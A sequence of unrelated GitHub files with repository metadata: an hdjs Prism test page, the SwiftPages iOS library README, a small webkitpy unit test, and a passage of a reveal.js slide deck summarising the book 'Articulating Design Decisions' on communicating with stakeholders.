<html lang="en">
<head>
<meta charset="UTF-8">
<link href="https://cdn.bootcss.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet">
<script>
window.hdjs = {};
window.hdjs.base = '/plugin/hdjs';
window.hdjs.uploader = 'php/uploader.php?';
window.hdjs.filesLists = 'php/filesLists.php?';
</script>
<script src="../require.js"></script>
<script src="../config.js"></script>
</head>
<body style="padding: 50px;">
<pre><code class="language-javascript line-numbers">
window.hdjs = {};
window.hdjs.base = '../';
window.hdjs.uploader = 'php/uploader.php?';
window.hdjs.filesLists = 'php/filesLists.php?';
</code></pre>
<script>
require(['prism'])
</script>
</body>
</html> | {'content_hash': 'f3b3ed2f92bcc5ecb4865a64d96c0e0e', 'timestamp': '', 'source': 'github', 'line_count': 26, 'max_line_length': 96, 'avg_line_length': 28.807692307692307, 'alnum_prop': 0.6221628838451269, 'repo_name': 'houdunwang/hdjs', 'id': 'cfdc6e5e0088af2d81ddcd5c65222d37009ba17e', 'size': '749', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'test/prismjs.html', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'ActionScript', 'bytes': '145251'}, {'name': 'AngelScript', 'bytes': '1655'}, {'name': 'C', 'bytes': '10562'}, {'name': 'C++', 'bytes': '146348'}, {'name': 'CSS', 'bytes': '668826'}, {'name': 'CoffeeScript', 'bytes': '2471'}, {'name': 'HTML', 'bytes': '244754'}, {'name': 'JavaScript', 'bytes': '4658455'}, {'name': 'Makefile', 'bytes': '7045'}, {'name': 'Objective-C', 'bytes': '2353'}, {'name': 'PHP', 'bytes': '20344'}, {'name': 'Ruby', 'bytes': '587'}]} |
<p align="center">
<img src ="https://github.com/GabrielAlva/SwiftPages/blob/master/Resources/SwiftPages%20Header%20Image.png"/>
</p>
<p align="center">
<img src ="https://github.com/GabrielAlva/SwiftPages/blob/master/Resources/SwiftPagesSample.gif"/>
</p>
[](http://cocoapods.org/pods/SwiftPages)
[](http://cocoapods.org/pods/SwiftPages)
[](http://cocoapods.org/pods/SwiftPages)
<h3 align="center">Features</h3>
---
- A simple yet beautifully architected solution for management of paged-style view controllers.
- Dynamic loading of view controllers, allowing handling of high amounts of data without compromising memory.
- Highly customisable, all items have clean API’s to change them to any appearance or size.
- Can be sized and positioned anywhere within a view controller.
- Made for iPhone and iPad.
- Extensively documented code for quick understanding.
<br />
<p align="center">
<img src ="https://github.com/GabrielAlva/SwiftPages/blob/master/Resources/Swift%20Pages%20iPhone%20mockups.png"/>
</p>
<h3 align="center">Installation</h3>
---
### CocoaPods
SwiftPages is available through [CocoaPods](http://cocoapods.org). To install
it, simply add the following line to your Podfile:
```ruby
pod "SwiftPages"
```
### Manual
Just Include the SwiftPages.swift file found on the demo in your project, and you’re good to go!
<h3 align="center">Usage</h3>
---
Using **SwiftPages** in your project is very simple and straightforward.
### Create a SwiftPages Instance
First create your SwiftPages instance, there are two ways to do it, as an **IBOoutlet** of a view of type SwiftPages from the storyboard, or programmatically:
**As an IBOoutlet of a view of type SwiftPages from the storyboard**
<br />
Place a UIView in your view controller and assign its constraints, make its class be of type SwiftPages. Then control drag to your view controller as an IBOutlet.
**As a fully programmatic SwiftPages view.**
<br />
Declare it in the viewDidLoad function of your view controller and set the desired position and size:
```swift
let swiftPagesView : SwiftPages!
swiftPagesView = SwiftPages(frame: CGRectMake(0, 0, self.view.frame.width, self.view.frame.height))
```
Then, after the initialization (described below), add it as a subview on your view controller:
```swift
self.view.addSubview(swiftPagesView)
```
### Initialization
SwiftPages can be initialized in one of two ways:
**Initialize with images as buttons on the top bar:**
<br />
First create an array of strings, the strings will be the Storyboard ID's of the view controllers you would like to include:
```swift
var VCIDs : [String] = ["FirstVC", "SecondVC", "ThirdVC", "FourthVC", "FifthVC"]
```
Then create an array of UIImages which will correlate in order to the VC ID's array created above, it also has to have the same number of items as the aforementioned array:
```swift
var buttonImages : [UIImage] = [UIImage(named:"HomeIcon.png")!,
UIImage(named:"LocationIcon.png")!,
UIImage(named:"CollectionIcon.png")!,
UIImage(named:"ListIcon.png")!,
UIImage(named:"StarIcon.png")!]
```
Finally, use the `initializeWithVCIDsArrayAndButtonImagesArray` function with the two arrays created:
```swift
swiftPagesView.initializeWithVCIDsArrayAndButtonImagesArray(VCIDs, buttonImagesArray: buttonImages)
```
**Initialize with text on buttons:**
<br />
First, alike with the image initialization, create an array of strings, the strings will be the Storyboard ID's of the view controllers you would like to include:
```swift
var VCIDs : [String] = ["FirstVC", "SecondVC", "ThirdVC", "FourthVC", "FifthVC"]
```
Then create an array of titles which will correlate in order to the VC ID's array created above, it must have the same number of items as the aforementioned array:
```swift
var buttonTitles : [String] = ["Home", "Places", "Photos", "List", "Tags"]
```
Finally, use the `initializeWithVCIDsArrayAndButtonTitlesArray` function with the two arrays created:
```swift
swiftPagesView.initializeWithVCIDsArrayAndButtonTitlesArray(VCIDs, buttonTitlesArray: buttonTitles)
```
<h3 align="center">Customisation</h3>
---
Once you have your `SwiftPages` instance you can customize the appearance of all item's using the class API's, to view the API list look for the `API's` Mark on the SwiftPages class. Below is a brief customization sample:
```swift
swiftPagesView.enableAeroEffectInTopBar(true)
swiftPagesView.setButtonsTextColor(UIColor.whiteColor())
swiftPagesView.setAnimatedBarColor(UIColor.whiteColor())
```
<h3 align="center">Example</h3>
---
You can find a full example on usage and customization on the Xcode project attached to this repository.
<h3 align="center">License</h3>
---
The MIT License (MIT)
**Copyright (c) 2015 Gabriel Alvarado ([email protected])**
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
| {'content_hash': '3ee0dc6d302cc7ec08b3e62ac1da1c22', 'timestamp': '', 'source': 'github', 'line_count': 142, 'max_line_length': 221, 'avg_line_length': 43.45070422535211, 'alnum_prop': 0.7482982171799027, 'repo_name': 'chipivk/SwiftPages', 'id': 'bd01826b3e1a7bf8608583e08afee87d32eaaf39', 'size': '6174', 'binary': False, 'copies': '3', 'ref': 'refs/heads/master', 'path': 'README.md', 'mode': '33261', 'license': 'mit', 'language': [{'name': 'Ruby', 'bytes': '777'}, {'name': 'Swift', 'bytes': '62442'}]} |
import unittest
from webkitpy.common.system.systemhost_mock import MockSystemHost
from webkitpy.layout_tests.port.base import Port
from webkitpy.layout_tests.port.driver import Driver, DriverOutput
from webkitpy.layout_tests.port import browser_test, browser_test_driver
from webkitpy.layout_tests.port.server_process_mock import MockServerProcess
from webkitpy.layout_tests.port.port_testcase import TestWebKitPort
from webkitpy.tool.mocktool import MockOptions
class BrowserTestDriverTest(unittest.TestCase):
def test_read_stdin_path(self):
port = TestWebKitPort()
driver = browser_test_driver.BrowserTestDriver(port, 0, pixel_tests=True)
driver._server_process = MockServerProcess(lines=[
'StdinPath: /foo/bar', '#EOF'])
content_block = driver._read_block(0)
self.assertEqual(content_block.stdin_path, '/foo/bar')
driver._stdin_directory = None
| {'content_hash': '17da925bdfa83456a8f026f406c8d916', 'timestamp': '', 'source': 'github', 'line_count': 23, 'max_line_length': 81, 'avg_line_length': 39.91304347826087, 'alnum_prop': 0.7559912854030502, 'repo_name': 'highweb-project/highweb-webcl-html5spec', 'id': '576e0b0863783bf19cf80b8d9a25e716d8f37d58', 'size': '2445', 'binary': False, 'copies': '1', 'ref': 'refs/heads/highweb-20160310', 'path': 'third_party/WebKit/Tools/Scripts/webkitpy/layout_tests/port/browser_test_driver_unittest.py', 'mode': '33188', 'license': 'bsd-3-clause', 'language': []} |
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Articulating Design Decisions</title>
<link rel="stylesheet" href="css/reveal.css">
<link rel="stylesheet" href="css/theme/gaslight.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="lib/css/zenburn.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? 'css/print/pdf.css' : 'css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section>
<section data-background="dark">
<h1 class="white center">Articulating Design Decisions</h1>
<p class="speaker-block center">
<small><em>Brought to you by the good designers of Gaslight.</em></small>
</p>
<div class="logo-block"></div>
<p class="center">
<small><a href="https://teamgaslight.com">teamgaslight.com</a></small>
</p>
</section>
<section data-background="dark">
<h2 class="white center">Table of Contents</h2>
<small>
<ol class="white">
<li><a href="#ch1"> A Maturing Industry </a></li>
<li><a href="#ch2"> Great Designers are Great Communicators </a></li>
<li><a href="#ch3"> Understanding Relationships </a></li>
<li><a href="#ch4"> Reducing Cognitive Load </a></li>
<li><a href="#ch5"> Listening Is Understanding </a></li>
<li><a href="#ch6"> The Right Frame of Mind </a></li>
<li><a href="#ch7"> The Response: Strategy and Tactics </a></li>
<li><a href="#ch8"> The Response: Common Messages </a></li>
<li><a href="#ch9"> The Ideal Response: Getting Agreement </a></li>
<li><a href="#ch10"> Meeting Adjourned: The After-Party </a></li>
<li><a href="#ch11"> Recovering from Disaster </a></li>
<li><a href="#ch12"> For Nondesigners </a></li>
<li><a href="#ch13"> Designing for Vision </a></li>
</ol>
</small>
</section>
</section>
<section><!-- OBJECTIVE -->
<h2>Our Goal</h2>
<p>Information is freer than ever — but that means that there's more to dig through to find gems</p>
<p class="fragment">The Design Squad™, in the interest of ongoing education, took on the task of reading and synthesizing content and then bringing it together.</p>
</section>
<section data-background="https://media.giphy.com/media/mhTfuaWwrYGxa/giphy.gif"></section> <!-- GIF BREAK: VOLTRON -->
<section><!-- OBJECTIVE, PT. 2-->
<h2>Our Goal</h2>
<p>Then obviously we needed to share it with everyone else too.</p>
</section>
<section><!-- THE BOOK-->
<h2>The Book Selection</h2>
<p>Since it's been on the docket for a while and everyone could benefit from amping up their consulting skills, we chose to read <em>Articulating Design Decisions</em> by Tom Greever</p>
</section>
<!-- /////////////// -->
<!-- THE LAUREN ZONE -->
<!-- /////////////// -->
<section id="ch1"><!-- OPENING: CHAPTER 1 -->
<h2><small>Chapter 1</small></h2>
<h2>A Maturing Industry</h2>
</section>
<section>
<h2>Design: The New Hotness</h2>
<p>Design, once seen as niche and auxiliary, has come front-and-center in a world where people use more and more software products and come to expect them to look and work well.</p>
</section>
<section>
<h2>Design: The New Hotness</h2>
<p>Good design is very clearly tied to product success.</p>
</section>
<section>
<h2>Design: The New Hotness</h2>
<p>It would then follow that designers, those agents of design, would also be the new hotness, right?</p>
</section>
<section data-background="https://68.media.tumblr.com/6dbe572a2e4485309fc4e1b06c39c759/tumblr_n24tpcrmeC1s2ypwgo1_500.gif">
</section>
<section>
<h2>Design[ers]: The Reality</h2>
<ul>
<li class="fragment">UX is a young discipline that's still being figured out.</li>
<li class="fragment">Designers are practiced in justifying design to designers, less so with those outside the discipline.</li>
<li class="fragment">Design is as much about subjective personal preferences as it is about logically-made, research-backed decisions.</li>
</ul>
</section>
<section id="ch2"><!-- OPENING: CHAPTER 2 -->
<h2><small>Chapter 2</small></h2>
<h2>Great Designers Are Great Communicators</h2>
</section>
<section>
<h2>Everyone's a Critic</h2>
<ul>
<li class="fragment">Non-Designers are immersed in designed experiences and can tell what looks good, but can't express why.</li>
<li class="fragment">Design is "special" in that people uninvolved can have an opinion on the "how" of the work, not just the "what".</li>
</ul>
</section>
<section>
<h2>Design House of Horrors</h2>
<ul>
<li class="fragment">The CEO Button</li>
<li class="fragment">Home Page Syndrome</li>
</ul>
</section>
<section data-background="http://gifrific.com/wp-content/uploads/2013/04/Tobias-Funke-Crying-in-Shower-Arrested-Development.gif"></section>
<section data-background="http://imoviequotes.com/wp-content/uploads/2014/11/1-Cool-Hand-Luke-quotes.gif">
</section>
<section>
<h2>Using Your Words</h2>
<p>Most issues are grounded in miscommunication or misunderstandings.</p>
<p class="fragment">"Most issues" being 99.9% of the problems.</p>
</section>
<section>
<h2>Using Your Words</h2>
<p>Words are powerful! They are the tools you use to steer people in the right direction!</p>
<p class="fragment">The key is to understand what message you want to communicate and the response you want.</p>
</section>
<section>
<h2>Using Your Words</h2>
<p>Being able to articulate your design choices gains the trust of your clients and keeps you from getting steamrolled by...</p>
<ul class="fragment">
<li>Imparting intelligence.</li>
<li class="fragment">Demonstrating intentionality.</li>
<li class="fragment">Showing respect.</li>
</ul>
</section>
<section data-background="https://68.media.tumblr.com/tumblr_ln6cohJhnv1qgogx2o1_500.gif"></section>
<section>
<h2>Making a Successful Design</h2>
<p>A successful design will...</p>
<ol>
<li>Solve a problem.</li>
<li>Be easy for users.</li>
<li>Be supported by everyone.</li>
</ol>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>To find the right solution, you need a clearly defined problem.</p>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>Set goals and key progress indicators to establish what success looks like. These can be drawn from what's important to your stakeholders.</p>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>You must be consciously aware of each decision made and why.</p>
<p class="fragment">Ask "what problem am I trying to solve with this?" and then answer it. Write it down to get in the habit!</p>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>Practice describing your designs without visual aides to become more precise in how you clarify your designs and thinking.</p>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>Making sure a design actually resonates with users is grounded in intentionality. "How does this affect the user?"</p>
<p class="fragment">It's entirely legitimate to make your best guesses and then try them out.</p>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>Practice writing stories about these design changes within the context of how they affect the user.</p>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>The most sicknasty design doesn't get you anywhere if you can't sell people on it.</p>
<p class="fragment">Even worse, people will continue to suggest other alternatives if they're not convinced that you're right.</p>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>You need to get clients and other team members on your level!</p>
<p>Shared understanding of what you're trying to achieve and where you're headed helps achieve this.</p>
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>To properly share your design savvy with others on your team takes a little additional legwork.</p>
<p>It's easy to land on what looks like the right decision, but leave no stone unturned — finding these other solutions and knowing why they don't work allows you to summon this information later if they're pitched as alternatives.</p>
</section>
<section data-background="http://i.imgur.com/pgF1ULY.gif">
</section>
<section>
<h2>Makings of a Successful Design</h2>
<p>Being right is satisfying, but knowing why and being thoughtful are more important than being able to design the perfect solution every time.</p>
</section>
<!-- /////////////// -->
<!-- END LAUREN ZONE -->
<!-- /////////////// -->
<!-- /////////////// -->
<!-- THE KATI ZONE -->
<!-- /////////////// -->
<section id="ch3"><!-- OPENING: CHAPTER 3 -->
<h2><small>Chapter 3</small></h2>
<h2>Understanding Relationships</h2>
</section>
<section>
<h2>First, Improving Communication</h2>
<p>The single most important thing you can do to improve communication is to improve relationships.</p>
</section>
<section>
<h2>Relationships & Stakeholder</h2>
<p>Uxers are so good at putting the user first but often fail to do the same for the stakeholders, the people who have influence over the project.</p>
<p class="fragment">Applying the same principles we use to put the users first should be applied to the people we work with, that way we can create a better product together </p>
</section>
<section data-background="https://media.giphy.com/media/10LKovKon8DENq/giphy.gif">
</section>
<section>
<h2>Relationships & Stakeholder</h2>
<p>In order to approach them the right way we need to: </p>
<ul>
<li class="fragment">See them as human</li>
<li class="fragment">Create shared experiences</li>
<li class="fragment">Develop empathy</li>
<li class="fragment">Ask good questions</li>
<li class="fragment">Identifying influencers</li>
<li class="fragment">Building good relationships</li>
</ul>
</section>
<section>
<h2>See them as human</h2>
<p>There are always things that are influencing people’s behaviors that we don’t know about and there will always be things that we simply can’t predict.</p>
</section>
<section data-background="https://az616578.vo.msecnd.net/files/2015/11/12/635829492208789717-2055683014_derek.gif">
</section>
<section>
<h2>See them as human</h2>
<p> A person’s attitudes and responses to your work might have more to do with the things outside of what you’re showing them. </p>
</section>
<section>
<h2>Create shared experiences</h2>
<p>When we don’t have anything in common with another person, it’s nearly impossible to talk to them.</p>
</section>
<section>
<h2>Create shared experiences</h2>
<p>Finding ways to create connections with other people is an important step toward understanding them.</p>
<p class="fragment">Connections can be made easily through simple questions (non work questions!). </p>
</section>
<section>
<h2>Develop empathy</h2>
<p>Having empathy for stakeholders allows you to understand from their perspective.</p>
<p></p>
</section>
<section data-background="https://media.giphy.com/media/Hys63WZ4UHlAc/giphy.gif">
</section>
<section>
<h2>Develop empathy</h2>
<p>It simply means that your priority for communicating with them has shifted from a position of defense to one of solidarity.</p>
</section>
<section>
<h2>Ask good questions</h2>
<p>You should learn to view things from the perspective of your stakeholders in the same way that you would with users of your application</p>
<p class="fragment">By asking questions. </p>
</section>
<section>
<h2>Identifying Influencers</h2>
<p>Every project has a variety of people who influence its outcome, the three main types you need to understand are: </p>
<ul>
<li class="fragment">Team Influencers</li>
<li class="fragment">Executive Influencers</li>
<li class="fragment">External Influencers </li>
</ul>
</section>
<section>
<h2>Build Good Relationships</h2>
<p>Communication is much easier in good relationships.</p>
<p class="fragment">Good relationships take work.</p>
<p class="fragment">Take the time to do the simple things that will help you to improve your relationships and, as a byproduct, your communication with each other</p>
</section>
<section data-background="https://media.giphy.com/media/MiapFHASKG1Us/giphy.gif">
</section>
<section id="ch4"><!-- OPENING: CHAPTER 4 -->
<h2><small>Chapter 4</small></h2>
<h2>Reducing Cognitive Load</h2>
</section>
<section>
<h2>Reducing Cognitive Load</h2>
<p>Reducing the cognitive load not only for the stakeholders but our team and for ourselves so we can have a</p>
<p class="fragment">Succesful</p>
<p class="fragment">Productive</p>
<p class="fragment">Valuable <strong> Meeting </strong></p>
<h2 class="fragment">But how??</h2>
</section>
<section>
<h2>Remove Distractions!</h2>
<p>A lot of people are easily distracted by things that simply do not matter to the goal of the meeting.</p>
</section>
<section data-background="https://i2.wp.com/www.thedebutanteball.com/wp-content/uploads/2014/10/squirrel.gif">
</section>
<section>
<h2>Remove Distractions!</h2>
<p>Getting to know people can help identify what is distracting to them, so you can remove those things from the conversation. </p>
</section>
<section>
<h2>Anticipate Reactions</h2>
<p>When we combine what we know about the infleuncers of the project with the values they carry in their role, we can make some pretty good guesses about how they’ll respond to our designs </p>
</section>
<section data-background="https://media.giphy.com/media/76dXlFZZEqNH2/giphy.gif">
</section>
<section>
<h2>Anticipate Reactions</h2>
<p>So! Using this information we should curate the flow of our design discussion.</p>
</section>
<section>
<h2>Create a Support Network</h2>
<p>Getting other people to support your decisions is about showing that you’re not alone in your ideas.</p>
</section>
<section data-background="https://sixcolors.com/images/content/2016/bb8-thumbsup.gif">
</section>
<!-- <section>
<h2>Create a Support Network</h2>
<ul>
<li class="fragment">The Ringer: Backup support when/if we don't remember everything that needs to be said in a meeting. </li>
<li class="fragment">Identifying People: Beforehand figure out who's on board with your design. This can easiliest be found from your own team. </li>
<li class="fragment">People Get it: Find the people who will by your side to accomplish your vision. It's not just one person's idea but an idea that support by others.</li>
</ul>
</section> -->
<section>
<p>& Finally</p>
<h2>The Dress Rehearsal</h2>
<p>Now that you understand your stakeholders, have removed the distractions, anticipated their reactions, and gathered a group of people to back you up, it’s time to:</p>
<ul>
<li class="fragment">Make a List</li>
<li class="fragment">Practice Out loud</li>
<li class="fragment">Prep Everyone</li>
</ul>
</section>
<section>
<h2>Now, Let's Have</h2>
<h2>A Succesful Meeting</h2>
<p>Reducing Cognitive Load for us and our Stakeholders allows everyone to focus on the decisions at hand creating more productive conversations.</p>
<p class="fragment"><strong>Productivity Rules!!</strong></p>
</section>
<section data-background="https://admin.mashable.com/wp-content/uploads/2013/07/The-Office.gif">
</section>
<!-- /////////////// -->
<!-- END KATI ZONE -->
<!-- /////////////// -->
<!-- ////////////////////// -->
<!-- THE RYAN ZONE CH.5-6 -->
<!-- ////////////////////// -->
<section id="ch5"><!-- OPENING: CHAPTER 5 -->
<h2><small> Chapter 5 </small></h2>
<h2> Listening is Understanding </h2>
<blockquote>
<p> No man ever listened himself out of a job. </p>
<p> ―Calvin Coolidge</p>
</blockquote>
</section>
<section>
<h2> Implicit Activities </h2>
<p>
<strong> Be empathetic.</strong> Hear what your stakeholders are saying and try to understand the meaning of what's being said from their perspective.
</p>
<ul>
<li class="fragment"> Let them talk </li>
<li class="fragment"> Hear what isn't being said </li>
<li class="fragment"> Uncover the real problem </li>
<li class="fragment"> The art of the pause </li>
</ul>
</section>
<section>
<h2> Let them Talk </h2>
<p> Give your stakeholders the space they need to fully describe their ideas. </p>
<p class="fragment"> Three main benfits: </p>
<ol>
<li class="fragment"> They will make themselves more clear </li>
<li class="fragment"> It gives them confidence that they were understood </li>
<li class="fragment"> It demonstrates that you value what they're saying </li>
</ol>
</section>
<section>
<h2> Trust is Everything </h2>
<p> Showing that you can let someone express their ideas freely will help to build trust. </p>
<p class="fragment"> They will be more likely to agree with you if you can relate to what they've said. </p>
</section>
<section>
<h2> Hear What isn't Being Said</h2>
<p>
There is <strong>subtext</strong> to every bit of feedback. The better we can decode these messages, the better we can correct our course of action.
</p>
</section>
<section>
<h2> Uncover the Real Problem </h2>
<p> People naturally jump to solutions. It's our job to identify the problems behind those solutions. </p>
<p class="fragment"> Ask the <strong>5 Whys</strong></p>
</section>
<section>
<h2> The Art of the Pause </h2>
<blockquote>
<p> The right word may be effective, but no word was ever as effective as a rightly timed pause. </p>
<p> ―Mark Twain </p>
</blockquote>
</section>
<section>
<h2> The Three Purposes of the Pause </h2>
<ol>
<li class="fragment"> Give them a chance to expand on, or correct, what they've just said. </li>
<li class="fragment"> Let their statements sink in. Take a few seconds to check yourself and form an appropiate response. </li>
<li class="fragment">
Nonverbally communicate that what was just said is worth taking the time to seriously consider and ponder over for a moment.
<p class="fragment"> Be aware of your <strong>body language</strong>. </p>
</li>
</ol>
</section>
<section>
<h2> Explicit Activities </h2>
<p> Verbally demonstrate that you're listening and outwardly show that you're engaged in the conversation </p>
<ul>
<li class="fragment"> Take notes </li>
<li class="fragment"> Ask questions </li>
<li class="fragment"> Repeat or rephrase what's being said </li>
</ul>
</section>
<section>
<h2> Write Everything Down </h2>
<p> You're not going to remember everything that your stakeolders say or suggest—you're just not.</p>
<ul>
<li class="fragment"> Notes prevent you from having the same conversation again—create a paper trail. </li>
<li class="fragment"> Notes free you to focus on being articulate. </li>
<li class="fragment"> Notes build trust with your stakeholders. </li>
<li class="fragment"> Notes keep the meeting on track. </li>
</ul>
</section>
<section>
<h2> Taking Better Notes </h2>
<p> Your notes should be: </p>
<ul>
<li class="fragment"> <strong>Accessible</strong> - even during the meeting </li>
<li class="fragment"> <strong>Organized</strong> - related to UI elements or agenda items </li>
<li class="fragment"> <strong>Specific</strong> - who suggested what? </li>
<li class="fragment"> <strong>Definitive</strong> - have you reached a decison or is there follow-up work that needs to be done? </li>
<li class="fragment"> <strong>Actionable</strong> - if there's no action, it's not useful </li>
<li class="fragment"> <strong>Referenced</strong> - add links, URLs, screenshots, ect. </li>
<li class="fragment"> <strong>Forward-looking</strong> - make room for follow-up discussions for the next meeting. </li>
</ul>
</section>
<section>
<h2> Ask Questions </h2>
<p> So much of listening is just getting the other person to talk. </p>
</section>
<section>
<h2> Helpful Questions </h2>
<ul>
<li> What problem are you trying to solve? </li>
<li> What are the advantages of doing it this way? </li>
<li> What do you suggest? </li>
<li> How will this affect our goals? </li>
<li> Where have you seen this before? </li>
</ul>
</section>
<section>
<h2> Repeat or Rephrase </h2>
<p> Without a shared vocabulary, there will inevitably be misunderstanding. </p>
<blockquote>
<p> The begining of wisdom is the definition of terms. </p>
<p> ―Socrates </p>
</blockquote>
</section>
<section>
<h2> Rephrase: <h2>
<h2><small> Convert "Likes" to "Works" </small></h2>
<ul>
<li class="fragment"> Focus on effectiveness </li>
<li class="fragment"> Ask clarifying questions – "Why don't you think this <strong>works</strong>?" </li>
<li class="fragment"> Move from discussing preferences to describing functionality </li>
</ul>
</section>
<section>
<h2> Repeat: <h2>
<h2><small> "What I Hear You Saying..." </small></h2>
<p> Translate what's being said into what will become our common ground. </p>
<p class="fragment"> Bridge the language gap by showing: </p>
<ul>
<li class="fragment"> You're listening to them </li>
<li class="fragment"> You understand what they said </li>
<li class="fragment"> You can express their ideas in our own words that are more helpful in the design decision-making process </li>
</ul>
</section>
<section id="ch6"><!-- OPENING: CHAPTER 6 -->
<h2><small> Chapter 6 </small> </h2>
<h2> The Right Frame of Mind </h2>
<p>Thank. Repeat. Prepare.</p>
<blockquote>
<p> First learn the meaning of what you say, and then speak. </p>
<p> ―Epictetus</p>
</blockquote>
</section>
<section>
<h2> Give Up Control </h2>
<ul>
<li class="fragment"> You're going to need approval from others. </li>
<li class="fragment"> Don't take feedback personally. </li>
<li class="fragment"> Your work is not your own—you need help from others. </li>
</ul>
</section>
<section>
<h2> Check Your Ego at the Door </h2>
<p> See the value in what the other person is saying. </p>
<ul>
<li class="fragment"> You're <strong><em>not</em></strong> the only one with good ideas </li>
<li class="fragment"> You <strong><em>don't</em></strong> have all the best solutions </li>
<li class="fragment"> Your way <strong><em>isn't</em></strong> the only way to accomplish the goals </li>
</ul>
</section>
<section>
<h2> Check Your Ego at the Door </h2>
<p> Removing your ego makes you less defensive and therefore better prepared to respond appropriately. </p>
</section>
<section>
<h2> Lead with a YES </h2>
<p> We're all in this <strong>together</strong>. We're headed towards the same goals and with the same level of passion for the product. </p>
<ul>
<li class="fragment"> Be collaborative </li>
<li class="fragment"> Give ideas permission to succeed, even if they might seem impossible </li>
<li class="fragment"> Keep the conversation open-ended </li>
<li class="fragment"> Empower people to share their thoughts, ideas and be part of the solution </li>
<li class="fragment"> Build trust and confidence with your stakeholders </li>
</ul>
</section>
<section>
<h2> Be Charming </h2>
<ul>
<li class="fragment"> Have confidence </li>
<li class="fragment"> Just be yourself </li>
<li class="fragment"> Don't take yourself so seriously </li>
<li class="fragment"> Orient yourself towards others </li>
</ul>
</section>
<section>
<h2> Change Your Vocabulary </h2>
<ul>
<li class="fragment">
<strong><del> "You're wrong" </del></strong>
<ul>
<li class="fragment">Stay positive and always lead with a "yes"</li>
</ul>
</li>
<li class="fragment">
<strong><del> "From a design perspective..." </del></strong>
<ul>
<li class="fragment"> "The reason we did it this way..." </li>
</ul>
</li>
<li class="fragment">
<strong><del>"Like"</del> and <del>"Don't like"</del></strong>
<ul>
<li class="fragment"> Focus on what works and doesn't work </li>
</ul>
</li>
<li class="fragment">
<strong><del> Too much jargon </del></strong>
<ul>
<li class="fragment"> Stay within the vernacular </li>
</ul>
</li>
</ul>
</section>
<section>
<h2> Make a Transition </h2>
<p> The response <strong><em>before</em></strong> the response. </p>
<ol>
<li class="fragment"> Thank </li>
<li class="fragment"> Repeat </li>
<li class="fragment"> Prepare </li>
</ol>
</section>
<!-- /////////////// -->
<!-- END RYAN ZONE -->
<!-- /////////////// -->
<!-- ////////////////////////// -->
<!-- THE BAILEY ZONE CH.10-11 -->
<!-- ////////////////////////// -->
<section id="ch10"> <!-- OPENING: CHAPTER 10 -->
<h2><small> Chapter 10 </small></h2>
<h2> Meeting Adjourned: The After-Party </h2>
<blockquote>
<p> The single biggest problem in communication is the illusion that it has taken place. </p>
<p> ―George Bernard Shaw</p>
</blockquote>
</section>
<section>
<p> The time after the meeting is crucial. It's prime time to make sure no disasterous design decisions are made. Some things you'll need to do: </p>
<ul>
<li class="fragment">
Stick around and chat with people
</li>
<li class="fragment">
Follow up quickly with your notes
</li>
<li class="fragment">
Apply filters and remove the fluff
</li>
<li class="fragment">
Seek out individuals who can help you
</li>
<li class="fragment">
Make decisions when there is ambiguity
</li>
</ul>
</section>
<section>
<h2> The Meeting After the Meeting </h2>
<p> The hallway after a meeting is where the real feelings come out. </p>
<ul>
</ul>
</section>
<section>
<h2> The Meeting After the Meeting </h2>
<p> This is the time where decisions can be solidified and people can share their thoughts more openly. Often participants can feel too timid to bring something up in a meeting because they may feel like their opinion isn't as influential or as solid as someone else's. However, they may feel more comfortable opening up after the meeting. </p>
</section>
<section>
<h2> Follow up Fast </h2>
<p> Recorded follow ups show that you value the people involved, their time, and their ideas. </p>
<ul>
</ul>
</section>
<section>
<h2> Follow up Fast </h2>
<p> The follow up should be written preferably within an hour of the meeting, or at least within a day. It should include: </p>
<ul>
<li class="fragment">
A word of thanks to the participants
</li>
<li class="fragment">
A list of what was discussed
</li>
<li class="fragment">
Action items and next steps
</li>
</ul>
</section>
<section>
<h2> Follow up Fast </h2>
<p> Don't be afraid to delegate what people are doing what tasks. Be specific. Ask direct questions. Keep it brief. </p>
</section>
<section>
<h2> Apply Filters </h2>
<p> Cut out unnecessary information so the team can stay focused. </p>
<ul>
</ul>
</section>
<section>
<h2> Apply Filters </h2>
<p> Sometimes people bring up ideas just for the sake of innovation instead of concentrating on objectives. Here's how to assess a person with wild ideas: </p>
<ul>
<li class="fragment">
What are the person's intentions?
</li>
<li class="fragment">
What is everyone's opinions of the person?
</li>
<li class="fragment">
Do other people agree or disagree?
</li>
<li class="fragment">
Is this person influential enough to matter?
</li>
<li class="fragment">
Is this person likely to bring it up again?
</li>
